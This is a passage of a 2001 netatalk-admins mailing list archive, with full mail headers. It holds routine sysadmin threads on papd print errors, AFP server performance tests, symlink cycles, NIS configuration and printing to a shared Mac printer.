Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA11982
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Jun 2001 09:52:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA19020
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Jun 2001 09:52:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA18993
	for netatalk.administrators-members@umich.edu; Mon, 18 Jun 2001 09:52:26 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA18780
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 09:52:18 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f5IDq7P23161;
	Mon, 18 Jun 2001 09:52:07 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B2E0772.86B22613@univrel.pr.uconn.edu>
Date: Mon, 18 Jun 2001 09:51:46 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: James Pione <jpione@beacon.beaconschool.org>
CC: netatalk-admins@umich.edu
Subject: Re: papd error
References: <Pine.LNX.4.30.0106180919200.31492-100000@beacon.beaconschool.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

James Pione wrote:
> 
> Hi All.
>         I'm running netatalk 1.4b2 on a FreeBSD 4.2 box as a file and
> print server for a bunch of macs. First, I have to say netatalk generally
> runs great. Unfortunately, papd keeps on returning an error message
> whenever one of the macs sends a print job. Here's the message:
> 
> papd[314]: select: Interrupted system call
> papd[239]: child 314 exited with 1
> papd[239]: child 314 exited with 1
> 
> Here's my papd.conf:
> 
> morlock:\
>         :pr=|usr/bin/lpr -Plp:\
>         :pd=/usr/share/lib/ppd/LASERWRITER12640PS.ppd
> 
> Fortunately, even though papd returns this error, the user's jobs still
> print. Thanks in advance for anyone's ideas.

You may want to try a newer version, such as 1.5pre6, available on
sourceforge, as there have been many improvements to netatalk since the
1.4b2 release.

Thanks,
Jeff

From netatalk.administrators-errors@umich.edu  Mon Jun 18 11:32:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA16934
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Jun 2001 11:32:48 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22876
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Jun 2001 11:32:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22858
	for netatalk.administrators-members@umich.edu; Mon, 18 Jun 2001 11:32:37 -0400 (EDT)
Received: from web13007.mail.yahoo.com (web13007.mail.yahoo.com [216.136.174.17])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA22818
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 11:32:36 -0400 (EDT)
Message-ID: <20010618153244.18159.qmail@web13007.mail.yahoo.com>
Received: from [198.147.11.16] by web13007.mail.yahoo.com; Mon, 18 Jun 2001 08:32:44 PDT
Date: Mon, 18 Jun 2001 08:32:44 -0700 (PDT)
From: Patrick Gardella <pgardella@yahoo.com>
Subject: Re: Baffled with papd
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>, netatalk-admins@umich.edu
In-Reply-To: <B753B7A8.BF3D%Thomas.Kaiser@phg-online.de>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii


--- Thomas Kaiser <Thomas.Kaiser@phg-online.de> wrote:
> on Mon, 18 Jun 2001 04:36:56 -0700 (PDT), Patrick Gardella wrote:
> 
> >>> Printing from the FreeBSD box (-current) using "lpr" works.
> >>> Printing from the FreeBSD box using "pap -p Lexmark test.ps" works.
> 
> There's is something I didn't noticed in my first reply -->
> on Sun, 17 Jun 2001 12:56:27 -0700 (PDT), Patrick Gardella wrote:
> "a new printer that doesn't have the appletalk port built in"
> 
> This means, that if you print via pap from your FreeBSD Box, you actually
> print via Netatalk's papd, lpd and via remote lpr (or parallel or ...) to
> the printer?

Parallel, yes.

> The job's transmission from papd to lpd is working if you print locally via
> 'pap' but it doesn't work from the Mac's side?

Correct.  And the Mac can see it in the Chooser, and even talk to the papd on the FreeBSD box, but
it doesn't print.  I get the "child exited with 1" error.

Patrick

__________________________________________________
Do You Yahoo!?
Spot the hottest trends in music, movies, and more.
http://buzz.yahoo.com/

From netatalk.administrators-errors@umich.edu  Mon Jun 18 11:35:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA17118
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Jun 2001 11:35:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25718
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Jun 2001 11:35:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25703
	for netatalk.administrators-members@umich.edu; Mon, 18 Jun 2001 11:35:06 -0400 (EDT)
Received: from web13008.mail.yahoo.com (web13008.mail.yahoo.com [216.136.174.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA25568
	for <netatalk-admins@umich.edu>; Mon, 18 Jun 2001 11:35:00 -0400 (EDT)
Message-ID: <20010618153509.28095.qmail@web13008.mail.yahoo.com>
Received: from [198.147.11.16] by web13008.mail.yahoo.com; Mon, 18 Jun 2001 08:35:09 PDT
Date: Mon, 18 Jun 2001 08:35:09 -0700 (PDT)
From: Patrick Gardella <pgardella@yahoo.com>
Subject: Re: papd error
To: James Pione <jpione@beacon.beaconschool.org>, netatalk-admins@umich.edu
In-Reply-To: <Pine.LNX.4.30.0106180919200.31492-100000@beacon.beaconschool.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Is the printer local (/dev/lpt0) or is it a Mac printer? And is your printer an actual Laserwriter
like your PPD says?  (i.e. Do you have a Postscript printer attached, or do you use ghostscript)

I'm having exactly the same problem, but my pages don't print at all (I'm on -current).

Patrick

--- James Pione <jpione@beacon.beaconschool.org> wrote:
> Hi All.
> 	I'm running netatalk 1.4b2 on a FreeBSD 4.2 box as a file and
> print server for a bunch of macs. First, I have to say netatalk generally
> runs great. Unfortunately, papd keeps on returning an error message
> whenever one of the macs sends a print job. Here's the message:
> 
> papd[314]: select: Interrupted system call
> papd[239]: child 314 exited with 1
> papd[239]: child 314 exited with 1
> 
> Here's my papd.conf:
> 
> morlock:\
> 	:pr=|usr/bin/lpr -Plp:\
> 	:pd=/usr/share/lib/ppd/LASERWRITER12640PS.ppd
> 
> Fortunately, even though papd returns this error, the user's jobs still
> print. Thanks in advance for anyone's ideas.
> 


__________________________________________________
Do You Yahoo!?
Spot the hottest trends in music, movies, and more.
http://buzz.yahoo.com/

From netatalk.administrators-errors@umich.edu  Tue Jun 19 10:48:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA11372
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Jun 2001 10:48:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22420
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Jun 2001 10:48:41 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22395
	for netatalk.administrators-members@umich.edu; Tue, 19 Jun 2001 10:48:40 -0400 (EDT)
Received: from research.dfci.harvard.edu (research.dfci.harvard.edu [155.52.50.28])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA22367
	for <netatalk-admins@umich.edu>; Tue, 19 Jun 2001 10:48:38 -0400 (EDT)
Received: from [155.52.50.27] (account mht4 HELO research.dfci.harvard.edu)
  by research.dfci.harvard.edu (CommuniGate Pro SMTP 3.4.2)
  with ESMTP id 480341; Tue, 19 Jun 2001 10:49:15 -0400
Sender: mht4@research.dfci.harvard.edu
Message-ID: <3B2F658B.92DDE989@research.dfci.harvard.edu>
Date: Tue, 19 Jun 2001 10:45:31 -0400
From: Matthew Temple <mht@research.dfci.harvard.edu>
Reply-To: mht@research.dfci.harvard.edu
Organization: Dana Farber Cancer Institute
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en-US, en
MIME-Version: 1.0
To: Lawrence Farr <lawrence@epcdirect.co.uk>
CC: Joe Rhodes <JoeRhodes1974@excite.com>, netatalk-admins@umich.edu
Subject: Re: Performance Testing
References: <LHEIICGBLGCCHCONDGNLAEDKCOAA.lawrence@epcdirect.co.uk>
Content-Type: multipart/mixed;
 boundary="------------02A6D034558B3DD744558290"

This is a multi-part message in MIME format.
--------------02A6D034558B3DD744558290
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Has anyone tested transfers, etc. with Thursby Systems DAVE
client and Samba/NT servers?

					mht

Lawrence Farr wrote:
> 
> Here's a couple more tests for anyone interested:
> 
> http://asteroids.sixforty.co.uk/~l.farr/lantests/index_files/sheet001.htm
> 
> There's Helios, FreeBSD, Linux, Windows 2000 SFM and NT4 SFM on there.
> 
> Lawrence Farr
> EPC Direct Limited mailto:lawrence@epcdirect.co.uk
> T:01179666123 F:01179666111 M:07970780901
> 
> -----Original Message-----
> From: Joe Rhodes [mailto:JoeRhodes1974@excite.com]
> Sent: 14 June 2001 18:00
> To: netatalk-admins@umich.edu
> Subject: Performance Testing
> 
> Hey Gang!
>      It's been a while since I've had time to keep up with the list.
> Hopefully I'm not being redundant here.
> 
>      I've recently run across some performance testing I had been doing for
> AFP servers.  Linux + Netatalk, W2K + ExteremeZ IP or Hybinette, Novell,
> ASIP, etc.
> 
>      While it is certainly less than scientific, I thought some of you might
> find it interesting.  The results are up at:
> http://www.joerhodes.com/AFPperformance.html
> 
> Enjoy!
> -Joe
> Joe Rhodes Conuslting LLC.
> 
> _______________________________________________________
> Send a cool gift with your E-Card
> http://www.bluemountain.com/giftcenter/

-- 
=============================================================
Matthew Temple                Tel:    617/632-2597
Director, Research Computing  Fax:    617/632-4012
Dana-Farber Cancer Institute  mht@research.dfci.harvard.edu
44 Binney Street,  Smith 345  http://research.dfci.harvard.edu
Boston, MA 02115              Choice is the Choice!
--------------02A6D034558B3DD744558290
Content-Type: text/x-vcard; charset=us-ascii;
 name="mht.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Matthew Temple
Content-Disposition: attachment;
 filename="mht.vcf"

begin:vcard 
n:Temple;Matthew
tel;cell:617/512-2216
tel;fax:617/632-4012
tel;work:617/632-2597
x-mozilla-html:FALSE
url:http://research.dfci.harvard.edu
org:Dana Farber Cancer Institute
adr:;;44 Binney Street,  Smith 345;Boston;MA;02115;USA
version:2.1
email;internet:mht@research.dfci.harvard.edu
title:Director,  Research Computing
x-mozilla-cpt:;1
fn:Matthew Temple
end:vcard

--------------02A6D034558B3DD744558290--


From netatalk.administrators-errors@umich.edu  Tue Jun 19 12:05:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA13979
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Jun 2001 12:05:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA24326
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Jun 2001 12:05:42 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA24297
	for netatalk.administrators-members@umich.edu; Tue, 19 Jun 2001 12:05:41 -0400 (EDT)
Received: from pittyvaich.dcs.st-and.ac.uk (pittyvaich.dcs.st-and.ac.uk [138.251.206.55])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA24220
	for <netatalk-admins@umich.edu>; Tue, 19 Jun 2001 12:05:39 -0400 (EDT)
Received: from [138.251.206.137] (pinwinnie [138.251.206.137])
	by pittyvaich.dcs.st-and.ac.uk (8.9.1b+Sun/8.9.1) with ESMTP id RAA14298
	for <netatalk-admins@umich.edu>; Tue, 19 Jun 2001 17:05:47 +0100 (BST)
X-Sender: norman@pop
Message-Id: <v04003a01b755281b194a@[138.251.206.137]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 19 Jun 2001 17:05:47 +0100
To: netatalk-admins@umich.edu
From: Norman Paterson <norman@dcs.st-and.ac.uk>
Subject: symlink cycles

My Linux filesystem has cycles created by symbolic links.  When I run Virex
to scan the files, it gets stuck in a loop.

Is there any easy way for me to detect these cycles before Virex does?  Or
do I have to write a script myself?

--
Norman Paterson, University of St Andrews
http://www.dcs.st-and.ac.uk/~norman/



From netatalk.administrators-errors@umich.edu  Tue Jun 19 22:14:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA05000
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Jun 2001 22:14:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA05032
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Jun 2001 22:14:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA05005
	for netatalk.administrators-members@umich.edu; Tue, 19 Jun 2001 22:14:46 -0400 (EDT)
Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA04934
	for <netatalk-admins@umich.edu>; Tue, 19 Jun 2001 22:14:44 -0400 (EDT)
Received: from 209-122-223-159.s2357.apx1.nyw.ny.dialup.rcn.com ([209.122.223.159] helo=localhost)
	by smtp02.mrf.mail.rcn.net with smtp (Exim 3.16 #6)
	id 15CXVy-0005HM-00 
	for netatalk-admins@umich.edu; Tue, 19 Jun 2001 22:14:43 -0400
Received: (qmail 5711 invoked from network); 20 Jun 2001 02:14:53 -0000
Received: from ed.q (HELO localhost) (192.168.1.100)
  by fwd.q with SMTP; 20 Jun 2001 02:14:53 -0000
From: Ed Weinberg <edw@q5comm.com>
To: netatalk-admins@umich.edu
Subject: netatalk and NIS
Date: Tue, 19 Jun 2001 22:13:42 -0400
Message-ID: <2610jtkh52o1b0gi0m0q76fm68bfu39ocg@4ax.com>
X-Mailer: Forte Agent 1.8/32.548
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-BEGIN-NETWORK-PRIVACY: Start block
X-NP-Version: 2.00.003
X-NP-Encryption: False
X-END-NETWORK-PRIVACY: End block

I have NIS set up on my RH7.1 system.
I would like to get Netatalk working with it.
I read the docs.
There is one line which says what I have to do to my NIS
configuration.
I don't understand how to add that "services file" to my "maps".  

Can anyone give me an idea?

Thank you.


Ed Weinberg, Q5 Comm, LLC.
edw@q5comm.com
tel 914-713-7222
fax 914-713-7227 
Connecting you to the internet...

From netatalk.administrators-errors@umich.edu  Wed Jun 20 04:25:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA17869
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Jun 2001 04:25:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA23977
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Jun 2001 04:25:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA23949
	for netatalk.administrators-members@umich.edu; Wed, 20 Jun 2001 04:25:40 -0400 (EDT)
Received: from pittyvaich.dcs.st-and.ac.uk (pittyvaich.dcs.st-and.ac.uk [138.251.206.55])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA23875
	for <netatalk-admins@umich.edu>; Wed, 20 Jun 2001 04:25:38 -0400 (EDT)
Received: from [138.251.206.137] (pinwinnie [138.251.206.137])
	by pittyvaich.dcs.st-and.ac.uk (8.9.1b+Sun/8.9.1) with ESMTP id JAA11599
	for <netatalk-admins@umich.edu>; Wed, 20 Jun 2001 09:25:36 +0100 (BST)
X-Sender: norman@pop
Message-Id: <v04003a07b7560dcb1724@[138.251.206.137]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 20 Jun 2001 09:25:23 +0100
To: netatalk-admins@umich.edu
From: Norman Paterson <norman@dcs.st-and.ac.uk>
Subject: symlink cycles

My Linux filesystem has cycles created by symbolic links.  When I run Virex
to scan the files, it gets stuck in a loop.

Is there any easy way for me to detect these cycles before Virex does?  Or
do I have to write a script myself?

Using netatalk-1.4b2+asun2.1.3-7, Linux 2.2.14-5.0, Virex 5.9.1.

--
Norman Paterson, University of St Andrews
http://www.dcs.st-and.ac.uk/~norman/



From netatalk.administrators-errors@umich.edu  Wed Jun 20 10:16:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27381
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Jun 2001 10:16:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06146
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Jun 2001 10:16:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06120
	for netatalk.administrators-members@umich.edu; Wed, 20 Jun 2001 10:16:54 -0400 (EDT)
Received: from beacon.beaconschool.org ([209.2.216.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA05874
	for <netatalk-admins@umich.edu>; Wed, 20 Jun 2001 10:16:48 -0400 (EDT)
Received: from localhost (jpione@localhost)
	by beacon.beaconschool.org (8.9.3/8.9.3) with ESMTP id KAA20941;
	Wed, 20 Jun 2001 10:16:13 -0400
Date: Wed, 20 Jun 2001 10:16:13 -0400 (EDT)
From: James Pione <jpione@beacon.beaconschool.org>
To: Patrick Gardella <pgardella@yahoo.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: papd error
In-Reply-To: <20010618153509.28095.qmail@web13008.mail.yahoo.com>
Message-ID: <Pine.LNX.4.30.0106201004210.20669-100000@beacon.beaconschool.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Yes, the printer is a local laser printer, and is a Laserwriter 12/640.

> --- James Pione <jpione@beacon.beaconschool.org> wrote:
> > Hi All.
> > 	I'm running netatalk 1.4b2 on a FreeBSD 4.2 box as a file and
> > print server for a bunch of macs. First, I have to say netatalk generally
> > runs great. Unfortunately, papd keeps on returning an error message
> > whenever one of the macs sends a print job. Here's the message:
> >
> > papd[314]: select: Interrupted system call
> > papd[239]: child 314 exited with 1
> > papd[239]: child 314 exited with 1
> >
> > Here's my papd.conf:
> >
> > morlock:\
> > 	:pr=|usr/bin/lpr -Plp:\
> > 	:pd=/usr/share/lib/ppd/LASERWRITER12640PS.ppd
> >
> > Fortunately, even though papd returns this error, the user's jobs still
> > print. Thanks in advance for anyone's ideas.
> >
>
>
> __________________________________________________
> Do You Yahoo!?
> Spot the hottest trends in music, movies, and more.
> http://buzz.yahoo.com/
>


From netatalk.administrators-errors@umich.edu  Wed Jun 20 13:49:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07258
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Jun 2001 13:49:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA22375
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Jun 2001 13:49:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA22354
	for netatalk.administrators-members@umich.edu; Wed, 20 Jun 2001 13:49:00 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA22325
	for <netatalk-admins@umich.edu>; Wed, 20 Jun 2001 13:48:57 -0400 (EDT)
Received: from ns09-n66-248.de.inter.net ([213.73.66.248] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15Cm6E-0007ba-00
	for netatalk-admins@umich.edu; Wed, 20 Jun 2001 19:49:06 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id TAA27375
	for <netatalk-admins@umich.edu>; Wed, 20 Jun 2001 19:48:33 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: papd error
Date: Wed, 20 Jun 2001 19:30:06 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.LNX.4.30.0106180919200.31492-100000@beacon.beaconschool.org>
In-Reply-To: <Pine.LNX.4.30.0106180919200.31492-100000@beacon.beaconschool.org>
MIME-Version: 1.0
Message-Id: <01062019483301.25115@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA07258

On Mon, 18 Jun 2001, James Pione wrote:
> Hi All.
> 	I'm running netatalk 1.4b2 on a FreeBSD 4.2 box as a file and
> print server for a bunch of macs. First, I have to say netatalk generally
> runs great. Unfortunately, papd keeps on returning an error message
> whenever one of the macs sends a print job. Here's the message:
> 
> papd[314]: select: Interrupted system call
> papd[239]: child 314 exited with 1
> papd[239]: child 314 exited with 1
> 
> Here's my papd.conf:
> 
> morlock:\
> 	:pr=|usr/bin/lpr -Plp:\
> 	:pd=/usr/share/lib/ppd/LASERWRITER12640PS.ppd
> 
> Fortunately, even though papd returns this error, the user's jobs still
> print. Thanks in advance for anyone's ideas.

What makes me wonder is that it works at all!
You will probably want to change the `pr=' option to:
	:pr=|/usr/bin/lpr -Plp:
i.e. making the path to `lpr' absolute and not relative to /,
relying on that your working dir is /.

Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Jun 21 10:12:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA14792
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Jun 2001 10:12:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06810
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Jun 2001 10:12:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06794
	for netatalk.administrators-members@umich.edu; Thu, 21 Jun 2001 10:12:47 -0400 (EDT)
Received: from cacophonix.circlesquared.com ([193.133.196.154])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA06591
	for <netatalk-admins@umich.edu>; Thu, 21 Jun 2001 10:12:42 -0400 (EDT)
Received: from dogmatix.circlesquared.com (circlesquared.com) [193.133.196.147] 
	by cacophonix.circlesquared.com with esmtp (Exim 3.12 #1 (Debian))
	id 15D5Ba-0000gz-00; Thu, 21 Jun 2001 15:11:54 +0100
Message-ID: <3B32008F.24F18750@circlesquared.com>
Date: Thu, 21 Jun 2001 15:11:27 +0100
From: Peter Risdon <peter@circlesquared.com>
X-Mailer: Mozilla 4.74 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Reverse papd'ing
References: <v04003a07b7560dcb1724@[138.251.206.137]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


I have got the impression from some messages here that it is possible to push print jobs from a netatalk server across a network to
a Mac that has a printer attached and shared. If this is so, can anyone steer me to some documentation? I have tried rtfm'ing but
couldn't see any reference to this.

Specifically, I'd like to be able to pipe output from Ghostscript to something that achieved this. I could do this via an
appropriate printcap entry if I knew how to write one. Or via some other process.

Thanks,

Peter Risdon.

From netatalk.administrators-errors@umich.edu  Thu Jun 21 12:07:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA19593
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Jun 2001 12:07:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA01428
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Jun 2001 12:07:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA01106
	for netatalk.administrators-members@umich.edu; Thu, 21 Jun 2001 12:07:18 -0400 (EDT)
Received: from pittyvaich.dcs.st-and.ac.uk (pittyvaich.dcs.st-and.ac.uk [138.251.206.55])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA01049
	for <netatalk-admins@umich.edu>; Thu, 21 Jun 2001 12:07:16 -0400 (EDT)
Received: from [138.251.206.137] (pinwinnie [138.251.206.137])
	by pittyvaich.dcs.st-and.ac.uk (8.9.1b+Sun/8.9.1) with ESMTP id RAA15600
	for <netatalk-admins@umich.edu>; Thu, 21 Jun 2001 17:07:15 +0100 (BST)
X-Sender: norman@pop
Message-Id: <v04003a1bb757ca1ca208@[138.251.206.137]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 21 Jun 2001 17:07:14 +0100
To: netatalk-admins@umich.edu
From: Norman Paterson <norman@dcs.st-and.ac.uk>
Subject: test

Is this reaching anyone?

(To prevent a flood of replies, please toss a coin 5 times and only reply
if you get all heads...hope this works...

--
Norman Paterson, University of St Andrews
http://www.dcs.st-and.ac.uk/~norman/



From netatalk.administrators-errors@umich.edu  Fri Jun 22 04:16:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA26676
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Jun 2001 04:16:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA11309
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 22 Jun 2001 04:16:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA11287
	for netatalk.administrators-members@umich.edu; Fri, 22 Jun 2001 04:16:10 -0400 (EDT)
Received: from ldap.oak.zhone.com ([204.255.113.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA11238
	for <netatalk-admins@umich.edu>; Fri, 22 Jun 2001 04:16:08 -0400 (EDT)
Received: from zhone.com ([192.168.252.122]) by
          ldap.oak.zhone.com (Netscape Messaging Server 4.15) with ESMTP
          id GFBOB600.COE for <netatalk-admins@umich.edu>; Fri, 22 Jun
